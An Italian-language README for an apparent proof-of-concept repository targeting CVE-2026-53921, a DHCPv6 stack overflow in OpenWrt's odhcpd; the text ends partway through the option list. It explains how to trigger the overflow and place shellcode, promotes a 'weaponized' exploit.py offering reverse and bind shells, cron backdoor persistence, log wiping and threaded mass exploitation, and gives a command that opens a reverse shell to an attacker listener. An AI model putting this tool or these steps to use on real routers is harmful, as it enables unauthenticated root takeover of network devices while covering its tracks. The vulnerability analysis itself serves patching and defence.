CVE-2026-53921 – Stack Overflow in odhcpd

• Solo per scopi educativi e test autorizzati. L'uso non autorizzato è illegale.**

---

Panoramica della vulnerabilità

CVE-2026-53921 è un critico stack buffer overflow nel daemon odhcpd di OpenWrt – il server DHCPv6/DHCPv4/RA predefinito.

Come funziona

La vulnerabilità risiede nel codice di gestione dei messaggi DHCPv6 di odhcpd, in particolare nelle funzioni build_ia() e dhcpv6_ia_handle_IAs().

Analisi tecnica approfondita

1. La causa principale

Il bug si verifica durante la serializzazione (packing) dei pacchetti DHCPv6 Reply. Quando odhcpd risponde alle richieste dei client, costruisce la risposta in un buffer stack di dimensione fissa di 512 byte senza un corretto controllo dei limiti.

// Simplified representation of the vulnerable code

static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
    // No bounds check before writing
    memcpy(buf + *len, ia->data, ia->length);
    *len += ia->length;
}

2. Attivazione dell'overflow

Un attaccante invia una DHCPv6 Request (o Solicit) con:

• 5 o più opzioni IA_NA (Identity Association for Non-temporary Address), ciascuna contenente una sotto-opzione IAAddress.
• 22 o più opzioni IA_PD (Identity Association for Prefix Delegation).

Ogni opzione consuma spazio nello stack mentre odhcpd costruisce la sua Reply. I dati accumulati superano i 512 byte, causando l'overflow.

3. Due vettori di overflow

---

Vettore Trigger Punto di overflow

---

Sito 1 5 opzioni IA_NA build_ia() per IA_NA con indirizzi IPv6

Sito 2 22 opzioni IA_PD build_ia() per IA_PD

La causa principale è identica, ma l'overflow si verifica in percorsi di codice diversi, rendendo entrambi i vettori ugualmente sfruttabili.

4. Layout della memoria

Stack Layout (simplified):

+-------------------+  <-- High addresses
|    Return Address |  ← Overwritten with attacker-controlled value
+-------------------+
|  Saved Frame Ptr  |
+-------------------+
|  Local Variables  |  ← 512-byte buffer
+-------------------+  <-- Low addresses

L'attaccante sovrascrive l'indirizzo di ritorno salvato per puntarlo al proprio shellcode in memoria.

5. Requisiti di sfruttamento

---

Requisito Descrizione

---

Accesso alla rete L'attaccante deve avere connettività IPv6 verso il target

Autenticazione Nessuna -- attacco non autenticato

Privilegi odhcpd viene eseguito come root, quindi l'RCE garantisce il controllo completo del sistema

Servizio target La porta UDP 547 (DHCPv6) deve essere aperta

6. Posizionamento dello shellcode

In un exploit reale, lo shellcode dell'attaccante viene inserito nei campi degli indirizzi IPv6 IAAddress (16 byte per IA_NA). I pacchetti costruiti inseriscono lo shellcode, il NOP sled e l'indirizzo di ritorno in questi campi.

Crafted IA_NA Structure:

+-------------------+
| IA_NA Header      | (12 bytes)
+-------------------+
| IAAddress 1       | ← NOP sled + shellcode
+-------------------+
| IAAddress 2       | ← NOP sled + shellcode
+-------------------+
| IAAddress 3       | ← NOP sled + shellcode
+-------------------+
| IAAddress 4       | ← Return address
+-------------------+
| IAAddress 5       | ← Return address
+-------------------+

7. Catena di impatto

Crafted DHCPv6 Request
         ↓
odhcpd processes IA_NA/IA_PD options
         ↓
512-byte stack buffer overflows
         ↓
Return address overwritten
         ↓
CPU jumps to shellcode
         ↓
Reverse shell / Bind shell / RCE
         ↓
Full system compromise (root privileges)

8. Vettori di attacco vs. Stato delle mitigazioni

Versione Stato RCE possibile?

---

odhcpd < e432dd6 Vulnerabile [+] Sì OpenWrt < 24.10.8 Vulnerabile [+] Sì OpenWrt < 25.12.5 Vulnerabile [+] Sì OpenWrt 24.10.8+ Corretto [-] No OpenWrt 25.12.5+ Corretto [-] No odhcpd master + e432dd6 Corretto [-] No

9. Sfruttamento nel mondo reale

Questa vulnerabilità è particolarmente pericolosa perché:

• odhcpd è abilitato per impostazione predefinita sulle installazioni OpenWrt.
• Non è richiesta autenticazione---qualsiasi dispositivo sullo stesso segmento IPv6 può attaccare.
• Il bug è nel percorso di elaborazione delle richieste.
• Gli stack canary e l'ASLR sono raramente presenti sui dispositivi embedded MIPS/ARM.
• L'exploit può aggirare le difese comuni in molti ambienti embedded.

Versioni interessate

Componente	Versioni vulnerabili	Corretto in
odhcpd (branch master)	prima del commit e432dd6	e432dd6 o successivo
Release OpenWrt	< 24.10.8 < 25.12.5	24.10.8 & 25.12.5

---

Strumenti

Questo repository fornisce due script indipendenti:

Script	Scopo	Codice exploit	Sicurezza
verifier.py	Controllo di vulnerabilità non intrusivo	[-] No	[+] Sicuro
exploit.py	Exploit completo weaponized	[+] Sì	[!] Pericoloso

verifier.py – Verificatore di vulnerabilità

• Invia un Solicit DHCPv6 standard per verificare che il servizio sia attivo.
• Legge i banner HTTP/SSH per rilevare la versione di OpenWrt.
• Confronta la versione con l'intervallo vulnerabile noto.
• Non invia alcun payload di overflow o shellcode.

exploit.py – Exploit completo

• Vettori di doppio overflow: IA_NA (Site1) e IA_PD (Site2).
• Rilevamento automatico dell'architettura (MIPS / ARM).
• Shellcode reverse & bind MIPS big‑endian.
• Supporto per proxy SOCKS5.
• Persistenza (backdoor cron) e cancellazione dei log.
• Scansione threaded e sfruttamento di massa.
• Codifica opzionale del payload (XOR).

---

Installazione

git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.

Utilizzo

Verifier – verifica se un target è vulnerabile

sudo python3 verifier.py -u fe80::1%eth0 -i eth0

Exploit – ottenere una reverse shell (non usare per attività illegali, solo test avanzati)

sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444

Opzioni della riga di comando

verifier.py

Argomento	Descrizione
-u, --target	Indirizzo IPv6 target (obbligatorio)
-i, --iface	Interfaccia di rete (predefinito: eth0)

exploit.py